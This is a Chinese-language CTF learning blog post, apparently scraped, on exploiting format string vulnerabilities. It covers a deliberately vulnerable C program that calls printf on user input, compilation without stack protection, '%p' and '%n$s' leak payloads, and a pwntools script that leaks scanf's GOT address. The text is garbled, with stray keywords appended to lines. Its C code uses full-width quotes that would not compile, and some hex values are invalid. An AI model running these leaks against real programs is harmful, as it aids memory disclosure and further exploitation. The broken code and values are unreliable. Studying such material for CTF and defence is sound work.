格式化字符串漏洞 format string exploit(一)

 

 

本文系原創,轉載請說明出處函數

本文爲基於CTF WIKI的PWN學習佈局

0x00 格式化字符串原理學習

   先附一張經典的圖,以下測試

 

  其棧上佈局以下:spa

some value 
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

   若是程序寫成了:調試

 

printf("Color %s, Number %d, Float %4.2f");

 

   分別將棧上的三個變量分別解析爲:code

  1. 解析其地址對應的字符串
  2. 解析其內容對應的整形值
  3. 解析其內容對應的浮點值

    咱們編寫程序驗證如下:orm

#include <stdio.h>
int main() {

  printf("Color %s, Number %d, Float %4.2f", 「red」, 123456, 3.14);
  printf("Color %s, Number %d, Float %4.2f");
  return 0;
}

 

   輸入如下命令編譯(記得安裝libc6-dev-i386庫):blog

 gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c 

   運行結果內存

gdb調試一下:

b printf後輸入r運行

能夠看到在第一個printf的運行中,stack的參數正如上文所說,先是格式化字符串,再是123456(的16進制),最後是3.14

繼續調試至第二個printf(一直按n)

 

 

 stack中咱們發現,首先入棧的依舊是格式化字符串,可是上面三個參數再也不是以前的那幾個了。按照原理,第二次輸出的應該是0xffffcfb4及以後的兩個內存對應的內容。下面咱們來細緻討論。

 

0x01 漏洞利用

利用格式化字符串漏洞,咱們還能夠獲取咱們所想要輸出的內容。通常會有以下幾種操做

  • 泄露棧內存
    • 獲取某個變量的值 (%s)
    • 獲取某個變量對應地址的內存 (%p)
  • 泄露任意地址內存
    • 利用 GOT 表獲得 libc 函數地址,進而獲取 libc,進而獲取其它 libc 函數地址 (addr%n$s)
    • 盲打,dump 整個程序,獲取有用信息。

 1、泄露內存

(1)獲取棧變量數值

這裏使用ctf wiki上面的例子:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

編譯運行調試

 

 調試:

 

 直接轉載(copy)了:能夠看出,此時此時已經進入了 printf 函數中,棧中第一個變量爲返回地址,第二個變量爲格式化字符串的地址,第三個變量爲 a 的值,第四個變量爲 b 的值,第五個變量爲 c 的值,第六個變量爲咱們輸入的格式化字符串對應的地址。繼續運行程序,按c

 

 將會把上圖中0xffffcf44及其後面兩個地址包含的內容輸出輸出:

 

 並非每次獲得的結果都同樣 ,棧上的數據會由於每次分配的內存頁不一樣而有所不一樣,這是由於棧是不對內存頁作初始化的。這能夠從我上面的幾個截圖結果看出來。

(2)獲取棧指定變量值

可使用%n$x得到棧上第n+1個參數,格式化字符串是第一個參數,那麼若是想得到printf的第n個參數,就須要加1.

如,我想得到第三個參數值f7e946bb,那麼我就輸入%3$x

(3)獲取對應字符串:%s

(4)獲取數據:%p

 

2、獲取任意地址內存

上面的泄露並不強力,比賽中常常須要泄露某一個 libc 函數的 got 表內容,從而獲得其地址,進而獲取 libc 版本以及其餘函數的地址,這時候,可以徹底控制泄露某個指定地址的內存就顯得很重要了。

這裏咱們再看一遍源程序代碼:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

 

scanf接收入s的值,而後兩個printf。這裏咱們輸入%s,以下調試,打印出0xff007325, 就是%s對應的字符串值,因此,輸出函數的棧分佈,棧上的第一個參數就是格式化字符串的地址。

這就意味着格式化字符串內容可控,同時,還須要注意的是,第一個參數雖然放置的是格式化字符串的地址,可是,輸出函數並無在這裏開始調用,你也能夠從上圖中看到,在0xffffcf50處,又有一個%s,這裏纔是調用格式化字符串的時候,輸出格式化字符串表達的內容時刻。這就意味着,由於格式化字符串咱們能夠本身控制,那麼,若是我格式化字符串裏面包含了%s,它會輸出%s對應地址(0xff007325)所包含的內容,若是包含scanf@got, 它會輸出scanf@got對應地址包含的內容,也就是scanf的真實地址。

總結:一、格式化字符串能夠按照本身的意願輸入。二、格式化字符串的地址爲棧上的第一個參數,順序以後的某個位置會調用這個格式化字符串,以格式化字符串的內容輸出內容。

因此,咱們只要知道,調用這個格式化字符串的位置就能夠了。

根據CTF WIKI上的說明方案,咱們可使用下面的字符來肯定格式化字符串在哪調用:

[tag]%p%p%p%p%p%p...

若是輸出棧的內容與咱們前面的 tag 重複了,那麼咱們就能夠有很大把握說明該地址就是格式化字符串的地址,之因此說是有很大把握,這是由於不排除棧上有一些臨時變量也是該數值(0x41414141)。如:

 

 AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

咱們調試看一下:

我輸入的是AAAA加上8個%p

 

 你會看到,AAAA後面依次輸出8個內容,

第一個輸出AAAA,這原本就是字符,做爲一個標誌顯示出來罷了。而後日後,%p開始做用,依次是0xffffcfa0(能夠看到格式化字符串爲第一個參數,%p從格式字符串下一個開始),0xc2, 0xf7e946bb這些都是跟着格式化字符串後面的參數,以後,便打印出來0xffffcfa0地址對應的內容,即字符串。也就是說,其相對printf函數,爲第5個參數(第五行),可是相對格式化字符串(第一行),是第四個參數。那麼既然是第四個參數,咱們使用%4$s看看測試一下。

而後你會發現core dump:

 

 爲啥?調試。

 

 首先,%4$s對應的存放地址爲0xffffcfa0, 咱們查看內存發現存着的是0x73243425, 再看看0x73243425放着什麼,啥都沒有,那確定崩潰。

咱們輸入%4$s是0x73243425, 咱們輸入%5$s是0x732434525,................

那就是說,咱們肯定了參數爲第幾個後,在tag處輸入想要得到的內容的地址,那麼,輸出的將是輸入的地址對應的內容。

而後使用CTF wiki上payload改改就能夠實現獲取scanf的地址:

from pwn import *
sh = process('./leakmemory')  
leakmemory = ELF('./leakmemory')  
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  #獲取got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'  #想要輸出的地址加上肯定好的參數位置
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
sh.interactive()
相關文章
相關標籤/搜索